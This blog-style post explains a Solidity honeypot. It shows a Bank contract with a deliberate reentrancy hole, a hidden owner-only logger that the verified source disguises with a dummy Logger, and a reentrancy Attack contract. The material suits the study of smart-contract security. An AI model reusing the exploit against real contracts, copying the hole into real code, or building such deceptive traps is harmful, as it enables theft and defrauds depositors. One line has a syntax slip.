Smart Contract Honeypot

January 28, 2021

@trizin

A honeypot is a computer or computer system intended to mimic likely targets of cyberattacks.

This is a contract that looks like it has a reectrancy vulnerability but it is actually a trap to catch attackers!

Bank.sol file

contract Bank { mapping(address => uint) public balances; Logger logger; constructor(Logger _logger) { logger = Logger(_logger); // NOTICE THAT THE ADRESS OF THE LOGGER IS SET IN THE CONSTRUCTOR } function deposit() public payable { balances[msg.sender] += msg.value; logger.log(msg.sender, msg.value, "Deposit"); } function withdraw(uint _amount) public { require(_amount <= balances[msg.sender], "Insufficient funds"); (bool sent, ) = msg.sender.call{value: _amount}(""); // REECTRANCY HERE require(sent, "Failed to send Ether"); balances[msg.sender] -= _amount; logger.log(msg.sender, _amount, "Withdraw"); // TRAP HERE } } contract Logger { // The Logger contract event Log(address caller, uint amount, string action); function log( address _caller, uint _amount, string memory _action ) public { emit Log(_caller, _amount, _action); } }

The Logger contract in the file is actually not being used. We deploy and pass another contract when deploying the Bank contract. However, when the code is verified on Etherscan, the dummy Logger contract will be visible in the source code.

Honeypot.sol file

contract HoneyPot { address private owner: constructor(address _owner) { owner = _owner; } function log( address _caller, uint _amount, string memory _action ) public { if (equal(_action, "Withdraw") && msg.sender != owner) { // ONLY OWNER ADDRESS CAN WITHDRAW revert("It's a trap"); } } // Function to compare strings using keccak256 function equal(string memory _a, string memory _b) public pure returns (bool) { return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } }

This contract will be used as the Logger contract when deploying the Bank contract. Log function will revert if the action is Withdraw and the caller is not the owner address. Thus, the owner address will be able to withdraw all the funds and no one else can withdraw any funds.

Attack Example

contract Attack { Bank bank; constructor(Bank _bank) { bank = Bank(_bank); // set the bank contract address } fallback() external payable { // this function is called when the contract receives ether if (address(bank).balance >= 1 ether) { // if the bank contract has at least 1 ether bank.withdraw(1 ether); // withdraw 1 ether } } function deposit() public payable { bank.deposit{value: 1 ether}(); // deposit 1 ether } function withdraw() public payable { bank.withdraw(1 ether); // initial withdraw, this will revert } }

The attack function would normally start a chain of transactions that would eventually drain all the ether in the Bank contract, however, in our case the withdraw function would revert causing the attacker to lose all the ether.